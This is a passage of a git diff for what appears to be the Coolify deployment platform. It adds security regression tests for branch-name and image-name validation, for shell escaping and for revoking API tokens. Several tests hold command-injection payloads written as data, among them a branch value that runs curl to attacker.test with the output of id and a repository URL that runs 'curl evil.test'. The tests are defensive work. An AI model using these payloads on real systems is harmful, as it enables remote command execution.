lc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd0ZXN0IC1kIC9ob21lL2hlcm1lcy8uaGVybWVzIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgaGVybWVzLXdlYnVpOgogICAgaW1hZ2U6ICdnaGNyLmlvL25lc3F1ZW5hL2hlcm1lcy13ZWJ1aTowLjUxLjkyJwogICAgZGVwZW5kc19vbjoKICAgICAgLSBoZXJtZXMtYWdlbnQKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9IRVJNRVNXRUJVSV84Nzg3CiAgICAgIC0gSEVSTUVTX1dFQlVJX0hPU1Q9MC4wLjAuMAogICAgICAtIEhFUk1FU19XRUJVSV9QT1JUPTg3ODcKICAgICAgLSBIRVJNRVNfV0VCVUlfU1RBVEVfRElSPS9ob21lL2hlcm1lc3dlYnVpLy5oZXJtZXMvd2VidWkKICAgICAgLSBXQU5URURfVUlEPTEwMDAKICAgICAgLSBXQU5URURfR0lEPTEwMDAKICAgICAgLSAnSEVSTUVTX1dFQlVJX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9IRVJNRVNXRUJVSX0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXJtZXMtaG9tZTovaG9tZS9oZXJtZXN3ZWJ1aS8uaGVybWVzJwogICAgICAtICdoZXJtZXMtYWdlbnQtc3JjOi9ob21lL2hlcm1lc3dlYnVpLy5oZXJtZXMvaGVybWVzLWFnZW50OnJvJwogICAgICAtICdoZXJtZXMtd29ya3NwYWNlOi93b3Jrc3BhY2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODc4Ny9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwo=", + "compose": "c2VydmljZXM6CiAgaGVybWVzLWFnZW50OgogICAgaW1hZ2U6ICdub3VzcmVzZWFyY2gvaGVybWVzLWFnZW50QHNoYTI1NjoyZjFmMmYxNzI1ZTVkYzlhNjFjZjZhMmRlYTVhY2E1MmE3NzZlYzRkMDIyY2IyOTY3OWU2YWEzZmYzMDNlNzdhJwogICAgY29tbWFuZDogJ2dhdGV3YXkgcnVuJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEVSTUVTX0hPTUU9L2hvbWUvaGVybWVzLy5oZXJtZXMKICAgICAgLSBIRVJNRVNfVUlEPTEwMDAKICAgICAgLSBIRVJNRVNfR0lEPTEwMDAKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnQU5USFJPUElDX0FQSV9LRVk9JHtBTlRIUk9QSUNfQVBJX0tFWX0nCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogICAgICAtICdHT09HTEVfQVBJX0tFWT0ke0dPT0dMRV9BUElfS0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hlcm1lcy1ob21lOi9ob21lL2hlcm1lcy8uaGVybWVzJwogICAgICAtICdoZXJtZXMtYWdlbnQtc3JjOi9vcHQvaGVybWVzJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd0ZXN0IC1kIC9ob21lL2hlcm1lcy8uaGVybWVzIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgaGVybWVzLXdlYnVpOgogICAgaW1hZ2U6ICdnaGNyLmlvL25lc3F1ZW5hL2hlcm1lcy13ZWJ1aTowLjUxLjkyJwogICAgZGVwZW5kc19vbjoKICAgICAgLSBoZXJtZXMtYWdlbnQKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9IRVJNRVNXRUJVSV84Nzg3CiAgICAgIC0gSEVSTUVTX1dFQlVJX0hPU1Q9MC4wLjAuMAogICAgICAtIEhFUk1FU19XRUJVSV9QT1JUPTg3ODcKICAgICAgLSBIRVJNRVNfV0VCVUlfU1RBVEVfRElSPS9ob21lL2hlcm1lc3dlYnVpLy5oZXJtZXMvd2VidWkKICAgICAgLSBXQU5URURfVUlEPTEwMDAKICAgICAgLSBXQU5URURfR0lEPTEwMDAKICAgICAgLSAnSEVSTUVTX1dFQlVJX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9IRVJNRVNXRUJVSX0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXJtZXMtaG9tZTovaG9tZS9oZXJtZXN3ZWJ1aS8uaGVybWVzJwogICAgICAtICdoZXJtZXMtYWdlbnQtc3JjOi9ob21lL2hlcm1lc3dlYnVpLy5oZXJtZXMvaGVybWVzLWFnZW50OnJvJwogICAgICAtICdoZXJtZXMtd29ya3NwYWNlOi93b3Jrc3BhY2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODc4Ny9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwo=", "tags": [ "ai", "agent", diff --git a/tests/Feature/Api/ApplicationGitBranchSecurityTest.php b/tests/Feature/Api/ApplicationGitBranchSecurityTest.php new file mode 100644 index 000000000..58bd6b5c0 --- /dev/null +++ b/tests/Feature/Api/ApplicationGitBranchSecurityTest.php @@ -0,0 +1,89 @@ + InstanceSettings::firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); + + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'git-branch-security-test-'.Str::random(6), + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + StandaloneDocker::withoutEvents(function () { + $this->destination = $this->server->standaloneDockers()->firstOrCreate( + ['network' => 'coolify'], + ['uuid' => (string) new Cuid2, 'name' => 'test-docker'] + ); + }); + + $this->project = Project::create([ + 'uuid' => (string) new Cuid2, + 'name' => 'test-project', + 'team_id' => $this->team->id, + ]); + $this->environment = $this->project->environments()->first(); + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'git_branch' => 'main', + ]); +}); + +function gitBranchApiHeaders(string $bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/applications/{uuid} git_branch security', function () { + test('rejects backtick command substitution branch payloads', function () { + $payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``'; + + $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_branch' => $payload, + ]); + + $response->assertUnprocessable() + ->assertJsonValidationErrors('git_branch'); + + expect($this->application->refresh()->git_branch)->toBe('main'); + }); + + test('accepts safe branch names', function () { + $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_branch' => 'feature/safe-branch_1.2.3', + ]); + + $response->assertOk(); + + expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3'); + }); +}); diff --git a/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php b/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php new file mode 100644 index 000000000..c254a26c3 --- /dev/null +++ b/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php @@ -0,0 +1,128 @@ + InstanceSettings::query()->updateOrCreate( + ['id' => 0], + ['is_api_enabled' => true], + )); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'admin']); + session(['currentTeam' => $this->team]); +}); + +function bearerJson(string $token): array +{ + return [ + 'Authorization' => 'Bearer '.$token, + 'Content-Type' => 'application/json', + ]; +} + +test('removed member token cannot read team projects', function () { + Project::create(['name' => 'Secret', 'team_id' => $this->team->id]); + $token = $this->user->createToken('read-token', ['read'])->plainTextToken; + + $this->team->members()->detach($this->user->id); + + $this->withHeaders(bearerJson($token)) + ->getJson('/api/v1/projects') + ->assertUnauthorized(); +}); + +test('removed member token cannot create team projects', function () { + $token = $this->user->createToken('write-token', ['write'])->plainTextToken; + + $this->team->members()->detach($this->user->id); + + $this->withHeaders(bearerJson($token)) + ->postJson('/api/v1/projects', ['name' => 'Should Not Exist']) + ->assertUnauthorized(); + + expect(Project::where('name', 'Should Not Exist')->exists())->toBeFalse(); +}); + +test('downgraded member old write token cannot create team projects', function () { + $token = $this->user->createToken('write-token', ['write'])->plainTextToken; + + $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']); + + $this->withHeaders(bearerJson($token)) + ->postJson('/api/v1/projects', ['name' => 'Downgrade Bypass']) + ->assertForbidden(); + + expect(Project::where('name', 'Downgrade Bypass')->exists())->toBeFalse(); +}); + +test('admin removal through team member component revokes team tokens', function () { + $owner = User::factory()->create(); + $this->team->members()->attach($owner->id, ['role' => 'owner']); + $token = $this->user->createToken('read-token', ['read'])->accessToken; + + $this->actingAs($owner); + session(['currentTeam' => $this->team]); + + Livewire::test(Member::class, ['member' => $this->user]) + ->call('remove'); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); + +test('role downgrade through team member component revokes team tokens', function () { + $owner = User::factory()->create(); + $this->team->members()->attach($owner->id, ['role' => 'owner']); + $token = $this->user->createToken('write-token', ['write'])->accessToken; + + $this->actingAs($owner); + session(['currentTeam' => $this->team]); + + Livewire::test(Member::class, ['member' => $this->user]) + ->call('makeReadonly'); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); + +test('member cannot create write token through livewire token form', function () { + $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + Livewire::test(ApiTokens::class) + ->set('description', 'member-write-token') + ->set('expiresInDays', 30) + ->set('permissions', ['write']) + ->call('addNewToken'); + + expect($this->user->tokens()->where('name', 'member-write-token')->exists())->toBeFalse(); +}); + +test('password change revokes user personal access tokens', function () { + $token = $this->user->createToken('read-token', ['read'])->accessToken; + + $this->user->forceFill(['password' => Hash::make('new-password')])->save(); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); + +test('team deletion revokes team bound personal access tokens', function () { + $token = $this->user->createToken('read-token', ['read'])->accessToken; + + $this->team->delete(); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); diff --git a/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php b/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php index d728f5ad7..83244c567 100644 --- a/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php +++ b/tests/Feature/ApplicationDeploymentControlVarFilteringTest.php @@ -205,6 +205,127 @@ function readDeploymentJobProperty(object $job, ReflectionClass $reflection, str expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse(); }); +it('does not let preview docker compose service names override generated build-time service names', function () { + $compose = <<<'YAML' +services: + app: + image: nginx + postgresapp: + image: postgres:16-alpine +YAML; + + [$application, $server] = makeDeploymentControlVarFixture([ + 'build_pack' => 'dockercompose', + 'docker_compose_raw' => $compose, + 'docker_compose' => $compose, + 'docker_compose_domains' => '[]', + ]); + + createApplicationEnvironmentVariable($application, [ + 'key' => 'SERVICE_NAME_POSTGRESAPP', + 'value' => '', + 'is_preview' => true, + 'is_runtime' => true, + 'is_buildtime' => true, + ]); + + createApplicationEnvironmentVariable($application, [ + 'key' => 'SERVICE_URL_APP', + 'value' => '', + 'is_preview' => true, + 'is_runtime' => true, + 'is_buildtime' => true, + ]); + + [$job, $reflection] = makeControlVarFilteringJob($application, $server, [ + 'pull_request_id' => 241, + ]); + + /** @var Collection $buildtimeEnvs */ + $buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables'); + $envString = $buildtimeEnvs->implode("\n"); + + expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp-pr-241'"); + expect($envString)->not->toContain('SERVICE_NAME_POSTGRESAPP=""'); + expect($envString)->not->toContain('SERVICE_URL_APP='); +}); + +it('does not let production docker compose service names override generated build-time service names', function () { + $compose = <<<'YAML' +services: + app: + image: nginx + postgresapp: + image: postgres:16-alpine +YAML; + + [$application, $server] = makeDeploymentControlVarFixture([ + 'build_pack' => 'dockercompose', + 'docker_compose_raw' => $compose, + 'docker_compose' => $compose, + 'docker_compose_domains' => '[]', + ]); + + createApplicationEnvironmentVariable($application, [ + 'key' => 'SERVICE_NAME_POSTGRESAPP', + 'value' => 'stale-postgresapp', + 'is_runtime' => true, + 'is_buildtime' => true, + ]); + + [$job, $reflection] = makeControlVarFilteringJob($application, $server); + + /** @var Collection $buildtimeEnvs */ + $buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables'); + $envString = $buildtimeEnvs->implode("\n"); + + expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp'"); + expect($envString)->not->toContain('stale-postgresapp'); +}); + +it('filters docker compose generated service variables from build args', function () { + [$application, $server] = makeDeploymentControlVarFixture([ + 'build_pack' => 'dockercompose', + ]); + + createApplicationEnvironmentVariable($application, [ + 'key' => 'APP_ENV', + 'value' => 'production', + 'is_preview' => true, + 'is_runtime' => true, + 'is_buildtime' => true, + ]); + + createApplicationEnvironmentVariable($application, [ + 'key' => 'SERVICE_NAME_POSTGRESAPP', + 'value' => '', + 'is_preview' => true, + 'is_runtime' => true, + 'is_buildtime' => true, + ]); + + createApplicationEnvironmentVariable($application, [ + 'key' => 'SERVICE_URL_APP', + 'value' => 'https://preview.example.com', + 'is_preview' => true, + 'is_runtime' => true, + 'is_buildtime' => true, + ]); + + [$job, $reflection] = makeControlVarFilteringJob($application, $server, [ + 'pull_request_id' => 241, + ]); + + invokeDeploymentJobMethod($job, $reflection, 'generate_env_variables'); + + /** @var Collection $envArgs */ + $envArgs = readDeploymentJobProperty($job, $reflection, 'env_args'); + + expect($envArgs->get('APP_ENV'))->toBe('production'); + expect($envArgs->has('SERVICE_NAME_POSTGRESAPP'))->toBeFalse(); + expect($envArgs->has('SERVICE_URL_APP'))->toBeFalse(); +}); + it('filters buildpack control vars from preview runtime env fallback', function () { [$application, $server] = makeDeploymentControlVarFixture(); diff --git a/tests/Feature/ApplicationDockerRegistryImageValidationApiTest.php b/tests/Feature/ApplicationDockerRegistryImageValidationApiTest.php new file mode 100644 index 000000000..852b537ec --- /dev/null +++ b/tests/Feature/ApplicationDockerRegistryImageValidationApiTest.php @@ -0,0 +1,108 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'docker-registry-validation-api-test-'.Str::random(6), + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create([ + 'server_id' => $this->server->id, + 'network' => 'coolify-'.Str::lower(Str::random(8)), + ]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function dockerRegistryApiHeaders(string $bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +function makeDockerRegistryValidationApplication(array $overrides = []): Application +{ + return Application::factory()->create(array_merge([ + 'environment_id' => test()->environment->id, + 'destination_id' => test()->destination->id, + 'destination_type' => test()->destination->getMorphClass(), + 'build_pack' => 'nixpacks', + 'docker_registry_image_name' => 'ghcr.io/coollabsio/example', + 'docker_registry_image_tag' => 'latest', + ], $overrides)); +} + +describe('PATCH /api/v1/applications/{uuid} docker registry image validation', function () { + test('rejects shell metacharacters in docker registry image name without persisting them', function () { + $application = makeDockerRegistryValidationApplication(); + + $response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$application->uuid}", [ + 'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)', + 'docker_registry_image_tag' => 'latest', + ]); + + $response->assertUnprocessable() + ->assertInvalid(['docker_registry_image_name']); + + $application->refresh(); + expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example') + ->and($application->docker_registry_image_tag)->toBe('latest'); + }); + + test('rejects shell metacharacters in docker registry image tag without persisting them', function () { + $application = makeDockerRegistryValidationApplication(); + + $response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$application->uuid}", [ + 'docker_registry_image_name' => 'ghcr.io/coollabsio/example', + 'docker_registry_image_tag' => 'latest$(touch /tmp/pwned)', + ]); + + $response->assertUnprocessable() + ->assertInvalid(['docker_registry_image_tag']); + + $application->refresh(); + expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example') + ->and($application->docker_registry_image_tag)->toBe('latest'); + }); + + test('accepts valid docker registry image values', function () { + $application = makeDockerRegistryValidationApplication(); + + $response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$application->uuid}", [ + 'docker_registry_image_name' => 'registry.example.com:5000/team/app', + 'docker_registry_image_tag' => 'v1.2.3', + ]); + + $response->assertOk(); + + $application->refresh(); + expect($application->docker_registry_image_name)->toBe('registry.example.com:5000/team/app') + ->and($application->docker_registry_image_tag)->toBe('v1.2.3'); + }); +}); diff --git a/tests/Feature/ApplicationSeederTest.php b/tests/Feature/ApplicationSeederTest.php index ac39ea4a7..f9c59f7a5 100644 --- a/tests/Feature/ApplicationSeederTest.php +++ b/tests/Feature/ApplicationSeederTest.php @@ -13,7 +13,7 @@ uses(RefreshDatabase::class); -it('seeds a railpack nodejs fastify example alongside the existing nixpacks example', function () { +it('seeds the default applications without railpack examples', function () { $this->seed([ UserSeeder::class, TeamSeeder::class, @@ -26,7 +26,6 @@ ]); $nixpacksExample = Application::where('uuid', 'nodejs')->first(); - $railpackExample = Application::where('uuid', 'railpack-nodejs')->first(); expect($nixpacksExample) ->not->toBeNull() @@ -35,17 +34,6 @@ ->and($nixpacksExample->base_directory)->toBe('/nodejs') ->and($nixpacksExample->ports_exposes)->toBe('3000'); - expect($railpackExample) - ->not->toBeNull() - ->and($railpackExample->name)->toBe('Railpack NodeJS Fastify Example') - ->and($railpackExample->fqdn)->toBe('http://railpack-nodejs.127.0.0.1.sslip.io') - ->and($railpackExample->repository_project_id)->toBe(603035348) - ->and($railpackExample->git_repository)->toBe('coollabsio/coolify-examples') - ->and($railpackExample->git_branch)->toBe('v4.x') - ->and($railpackExample->base_directory)->toBe('/nodejs') - ->and($railpackExample->build_pack)->toBe('railpack') - ->and($railpackExample->ports_exposes)->toBe('3000') - ->and($railpackExample->environment_id)->toBe(1) - ->and($railpackExample->destination_id)->toBe(0) - ->and($railpackExample->source_id)->toBe(1); + expect(Application::query()->where('build_pack', 'railpack')->exists())->toBeFalse(); + expect(Application::query()->whereIn('uuid', ['railpack-nodejs', 'railpack-static'])->exists())->toBeFalse(); }); diff --git a/tests/Feature/ApplicationServerStatusBadgeTest.php b/tests/Feature/ApplicationServerStatusBadgeTest.php new file mode 100644 index 000000000..2596752eb --- /dev/null +++ b/tests/Feature/ApplicationServerStatusBadgeTest.php @@ -0,0 +1,42 @@ +hasAdditionalServers) + { + public function __construct(private bool $exists) {} + + public function exists(): bool + { + return $this->exists; + } + }; + } + }; + + return view('livewire.project.application.server-status-badge', [ + 'application' => $application, + ])->render(); +} + +it('does not show the unreachable server badge when server status is unknown', function () { + $html = renderApplicationServerStatusBadge(null); + + expect($html)->not->toContain('One or more servers are unreachable or misconfigured.'); +}); + +it('shows the unreachable server badge only when server status is false', function () { + $html = renderApplicationServerStatusBadge(false); + + expect($html)->toContain('One or more servers are unreachable or misconfigured.'); +}); diff --git a/tests/Feature/BackupEditValidationTest.php b/tests/Feature/BackupEditValidationTest.php new file mode 100644 index 000000000..8894f0f69 --- /dev/null +++ b/tests/Feature/BackupEditValidationTest.php @@ -0,0 +1,85 @@ +create(['team_id' => $team->id]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $database = StandalonePostgresql::create([ + 'name' => 'pg-backup-edit-validation', + 'image' => 'postgres:16-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + return ScheduledDatabaseBackup::create(array_merge([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => null, + 'database_type' => $database->getMorphClass(), + 'database_id' => $database->id, + 'team_id' => $team->id, + ], $overrides)); +} + +beforeEach(function () { + if (InstanceSettings::find(0) === null) { + $settings = new InstanceSettings; + $settings->id = 0; + $settings->save(); + } + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +it('disables S3 backup when saved without a selected S3 storage', function () { + $backup = createBackupForEditValidationTest($this->team); + + Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 's3s' => $this->team->s3s]) + ->call('submit') + ->assertDispatched('success'); + + $backup->refresh(); + expect($backup->save_s3)->toBeFalsy(); + expect($backup->s3_storage_id)->toBeNull(); +}); + +it('cascades to disabling local backup deletion when S3 is force-disabled', function () { + $backup = createBackupForEditValidationTest($this->team, [ + 'disable_local_backup' => true, + ]); + + Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 's3s' => $this->team->s3s]) + ->call('submit') + ->assertDispatched('success'); + + $backup->refresh(); + expect($backup->save_s3)->toBeFalsy(); + expect($backup->s3_storage_id)->toBeNull(); + expect($backup->disable_local_backup)->toBeFalsy(); +}); diff --git a/tests/Feature/CleanupUnreachableServersTest.php b/tests/Feature/CleanupUnreachableServersTest.php index c06944969..8849b1ca0 100644 --- a/tests/Feature/CleanupUnreachableServersTest.php +++ b/tests/Feature/CleanupUnreachableServersTest.php @@ -6,7 +6,30 @@ uses(RefreshDatabase::class); -it('cleans up servers with unreachable_count >= 3 after 7 days', function () { +it('disables (non-destructively) self-hosted servers with unreachable_count >= 3 after 7 days', function () { + config(['constants.coolify.self_hosted' => true]); + + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 50, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(8), + ]); + + $originalIp = (string) $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + // IP must be preserved — never overwritten on self-hosted. + expect($server->ip)->toBe($originalIp); + expect($server->settings->force_disabled)->toBeTrue(); +}); + +it('overwrites the IP with 1.2.3.4 on cloud for servers with unreachable_count >= 3 after 7 days', function () { + config(['constants.coolify.self_hosted' => false]); + $team = Team::factory()->create(); $server = Server::factory()->create([ 'team_id' => $team->id, @@ -36,6 +59,7 @@ $server->refresh(); expect($server->ip)->toBe($originalIp); + expect($server->settings->force_disabled)->toBeFalse(); }); it('does not clean up servers updated within 7 days', function () { @@ -53,6 +77,7 @@ $server->refresh(); expect($server->ip)->toBe($originalIp); + expect($server->settings->force_disabled)->toBeFalse(); }); it('does not clean up servers without notification sent', function () { @@ -70,4 +95,5 @@ $server->refresh(); expect($server->ip)->toBe($originalIp); + expect($server->settings->force_disabled)->toBeFalse(); }); diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index d42a8490a..b327184a4 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -1,6 +1,9 @@ $branch], + ['git_branch' => $rules['git_branch']] + ); + + expect($validator->fails())->toBeTrue(); + })->with([ + 'backtick command substitution' => 'main`id`', + 'dollar command substitution' => 'main$(id)', + 'semicolon command separator' => 'main;id', + 'ifs shell expansion' => 'main${IFS}id', + 'space separator' => 'main branch', + ]); + + test('git_branch validation allows safe branch names', function (string $branch) { + $rules = sharedDataApplications(); + + $validator = validator( + ['git_branch' => $branch], + ['git_branch' => $rules['git_branch']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'main', + 'feature/safe-branch', + 'release_2026.06', + ]); + test('dockerfile_location validation rejects shell metacharacters', function () { $rules = sharedDataApplications(); @@ -183,6 +218,68 @@ }); }); +describe('deployment git command escaping', function () { + test('ls-remote command shell-quotes repository and ref arguments', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $instance = $job->newInstanceWithoutConstructor(); + + foreach ([ + 'customPort' => 22, + 'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #", + ] as $property => $value) { + $reflectionProperty = $job->getProperty($property); + $reflectionProperty->setAccessible(true); + $reflectionProperty->setValue($instance, $value); + } + + $method = $job->getMethod('gitLsRemoteCommand'); + $method->setAccessible(true); + + $command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa'); + + expect($command) + ->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'") + ->toContain('-i /root/.ssh/id_rsa') + ->not->toContain('repo.git; curl'); + }); + + test('coolify branch shell assignment is quoted', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $instance = $job->newInstanceWithoutConstructor(); + + $application = new Application; + $application->uuid = 'app-uuid'; + $application->git_branch = 'main`id`'; + $application->fqdn = null; + $application->compose_parsing_version = '3'; + + $settings = new ApplicationSetting; + $settings->include_source_commit_in_build = false; + $application->setRelation('settings', $settings); + + foreach ([ + 'application' => $application, + 'commit' => 'HEAD', + 'pull_request_id' => 0, + ] as $property => $value) { + $reflectionProperty = $job->getProperty($property); + $reflectionProperty->setAccessible(true); + $reflectionProperty->setValue($instance, $value); + } + + $method = $job->getMethod('set_coolify_variables'); + $method->setAccessible(true); + $method->invoke($instance); + + $coolifyVariables = $job->getProperty('coolify_variables'); + $coolifyVariables->setAccessible(true); + + expect($coolifyVariables->getValue($instance)) + ->toContain("COOLIFY_BRANCH='main`id`' ") + ->toContain('COOLIFY_RESOURCE_UUID=app-uuid '); + }); +}); + describe('sharedDataApplications rules survive array_merge in controller', function () { test('docker_compose_location safe regex is not overridden by local rules', function () { $sharedRules = sharedDataApplications(); @@ -978,3 +1075,46 @@ expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); }); }); + +describe('git_branch validation rules survive array_merge in controller', function () { + test('git_branch uses ValidGitBranch in shared application rules', function () { + $rules = sharedDataApplications(); + + expect($rules['git_branch'])->toBeArray(); + expect(collect($rules['git_branch'])->contains(fn ($rule) => $rule instanceof ValidGitBranch))->toBeTrue(); + }); + + test('git_branch rejects shell metacharacter payloads', function (string $payload) { + $rules = sharedDataApplications(); + + $validator = validator( + ['git_branch' => $payload], + ['git_branch' => $rules['git_branch']] + ); + + expect($validator->fails())->toBeTrue(); + })->with([ + 'semicolon command separator' => 'main;touch /tmp/pwned;#', + 'command substitution' => 'main$(touch /tmp/pwned)', + 'backtick substitution' => 'main`touch /tmp/pwned`', + 'pipe operator' => 'main|id', + 'newline injection' => "main\ntouch /tmp/pwned", + 'redirect operator' => 'main>/tmp/pwned', + 'single quote breakout' => "main';id;#", + ]); + + test('git_branch accepts safe branch names', function (string $branch) { + $rules = sharedDataApplications(); + + $validator = validator( + ['git_branch' => $branch], + ['git_branch' => $rules['git_branch']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'main', + 'feature/my-branch', + 'release_1.2.3', + ]); +}); diff --git a/tests/Feature/CreateScheduledBackupValidationTest.php b/tests/Feature/CreateScheduledBackupValidationTest.php new file mode 100644 index 000000000..4b5eec24c --- /dev/null +++ b/tests/Feature/CreateScheduledBackupValidationTest.php @@ -0,0 +1,138 @@ +create(['team_id' => $team->id]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + return StandalonePostgresql::create([ + 'name' => 'pg-scheduled-backup-validation', + 'image' => 'postgres:16-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); +} + +function createS3StorageForTeam(Team $team, string $name = 'Test S3'): S3Storage +{ + return S3Storage::create([ + 'name' => $name, + 'region' => 'us-east-1', + 